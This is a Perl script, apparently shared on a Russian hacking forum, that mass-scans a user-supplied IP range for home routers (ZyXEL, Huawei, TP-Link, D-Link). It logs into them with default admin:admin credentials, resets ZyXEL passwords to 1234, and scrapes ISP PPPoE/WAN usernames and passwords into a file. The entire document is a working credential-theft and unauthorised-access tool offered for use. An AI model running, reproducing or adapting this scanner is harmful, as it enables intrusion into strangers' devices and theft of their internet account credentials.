Код:
#!/usr/bin/perl

## BVScanner [Black Vlastelin Scanner]
## Coded by slider
## https://forum.antichat.ru

use IO::Socket;
use LWP::UserAgent;
use HTTP::Request;
use threads;
use threads::shared;

my	$ua=LWP::UserAgent->new;$ua->timeout(10);
	$ua->agent('Mozilla/5.0 (Windows NT 5.1; ru; olala ploent;) Firefox/3.5.8');
	$ua->requests_redirectable(0);
	
my @range : shared;
my $time  = time; 
my $i : shared;
$|  = 1;

$good_acc = 'accounts.txt';
$port = 80;
$timeout = 3;
	
	print "\n [i] Initial range IP: ";
	$start = <STDIN>;
	print " [i] Final range IP: ";
	$end = <STDIN>;
	print " [i] Threads: ";
	$threads = <STDIN>;

	@range = ip_range();
	$size  = scalar @range;

print "\n [+] $size IP`s for Scaning.\r\n";
print " [+] Start Scaning.\n\n";
	
for(0..$threads) {$trl[$_] = threads->create(\&scan, $_);}
for(@trl) { $_->join; }

sub scan {
    while (@range) {{ lock(@range); $cur = shift @range; }
	my $sock = new IO::Socket::INET(PeerAddr  => $cur, PeerPort  => $port, PeerProto => 'tcp', TimeOut   => $timeout);    
    if ( !$sock ) {{ lock($i); $i++; }}
    else {checker('http://'.$cur);close $sock;{lock($i); $i++;}}
    $percent = ( $i / $size ) * 100;
    $percent = sprintf( "%.1f", $percent );
	print " [%] Status: $percent%\r";}
}

sub ip_range {
	my @ips;
	$s = inet_aton($start);
	$e = inet_aton($end);
	$s_ip = unpack( 'N', $s );
	$e_ip = unpack( 'N', $e );
	for ( $o = $s_ip ; $o < $e_ip ; $o++ ){
	$o = pack( 'N', $o );
	$ip = inet_ntoa($o);
	push @ips, $ip;
	$o = unpack( 'N', $o );}
	chomp @ips;
	return @ips;
}


sub requester{
	my	$req = HTTP::Request->new(POST => $_[0]);
	$req->content_type('application/x-www-form-urlencoded');
	$req->content($_[2]);
	if($_[1]==1){$req->authorization_basic('admin', 'admin');}
	my $res = $ua->request($req);
	return $res;
}

sub get_good{
	print " [+] $_[3] [$_[2]]\n     Account: $_[0];$_[1]\n\n";
	open(FILE, ">>$good_acc");
	print FILE "$_[0];$_[1]\n";
	close(FILE);
}

sub checker{
	$strings = requester($_[0],0,0);
	
	#Skype and Trash...
	if(!$strings){return;} 
	if($strings->status_line() =~ '500'){return;}
	if($strings->status_line() =~ '405 Method not allowed'){return;}	
	if($strings->status_line() =~ '404'){return;}	
	if($strings->status_line() =~ '200 Assumed'){return;}	
	if($strings->content() =~ 'TeamViewer'){return;}	
    
	#D-Link
	if($strings->content() =~ 'alphaindex.js"'){print " [+] $_[0] - D-Link\n\n";return;}
	
	#ZyXEL
	if($strings->content() =~ 'ZyXEL'){
    my $zyx = requester($_[0].'/Forms/rpAuth_1',0,'LoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=81dc9bdb52d04dc20036dbd8313ed055&Prestige_Login=Login');
    if ($zyx->status_line() =~ '303 See Other'){
    	$zyx = requester($_[0].'/Forms/passWarning_1',0,'PassNew=1234&PassConfirm=1234&Pass_Apply=Apply');
    	if ($zyx->status_line() =~ '303 See Other'){
        $zyx = requester($_[0].'/WAN.html',0,'PassNew=1234&PassConfirm=1234&Pass_Apply=Apply');
        if($zyx->content =~ /NAME="wan_UserName" SIZE="30" MAXLENGTH="70" VALUE="(.*)" /){$login = $1}
        if($zyx->content =~ /NAME="wan_Password" SIZE="30" MAXLENGTH="70" VALUE="(.*)" onBlur=/){$pass = $1}
        if($login or $pass){get_good($login,$pass,'ZyXEL',$_[0]);return;}
    	}
    }
    print " [i] $_[0] - ZyXEL\n\n";
    return;    
	}
	
	if($strings->status_line =~ '401')
	{
    my $str = requester($_[0],1,0);
    if($str->status_line =~ '200'){    
    	
    	#Huawei
    	if($str->content =~ 'HW_logo.html'){
        my $hua = requester($_[0].'/WAN.html',1,0);
        if($hua->content =~ /NAME="wan_UserName" SIZE="30" MAXLENGTH="128" VALUE="(.*)" class/){$login = $1}
        if($hua->content =~ /NAME="wan_Password" SIZE="30" MAXLENGTH="128" VALUE="(.*)" class/){$pass = $1}
        if($login or $pass){get_good($login,$pass,'Huawei',$_[0]);return;}
        print " [i] $_[0] - Huawei\n\n";return;
    	} 
    	
    	#TP-Link
    	$str = requester($_[0].'/basic/home_wan.htm',1,0); 
    	if($str->content =~ /NAME="wan_PPPUsername" SIZE="32" MAXLENGTH="71" VALUE="(.*)"></){$login = $1}
    	if($str->content =~ /NAME="wan_PPPPassword" SIZE="32" MAXLENGTH="71" VALUE="(.*)"></){$pass = $1}
    	if($str->content =~ 'Bridged IP'){return;}
    	if(!$pass){$str = requester($_[0].'/basic/tc2wanfun.js',1,0);if($str->content =~ /pwdppp = "(.*)";/){$pass = $1}}
    	if($login or $pass){get_good($login,$pass,'TP_Link',$_[0]);return;}
    	else{print " [+] $_[0] - admin:admin\n\n";return;}
    }
    
    else{print " [i] $_[0] - Basic Authorization\n\n";return;}	
	}

	##DEBUG .::(-_-)::.
	else{print " [~] http://$cur - DEBUG " . $strings->status_line(). "\n\n";}
}

$time = time-$time;
if($time => 60){$t = 'min';$time = int ($time / 60). '';}else{$t = 'sec';}
print "\n [i] Total time: $time $t\n";

## Active Perl:
## http://downloads.activestate.com/ActivePerl/releases/5.10.1.1007/ActivePerl-5.10.1.1007-MSWin32-x86-291969.msi

## Special For Antichat...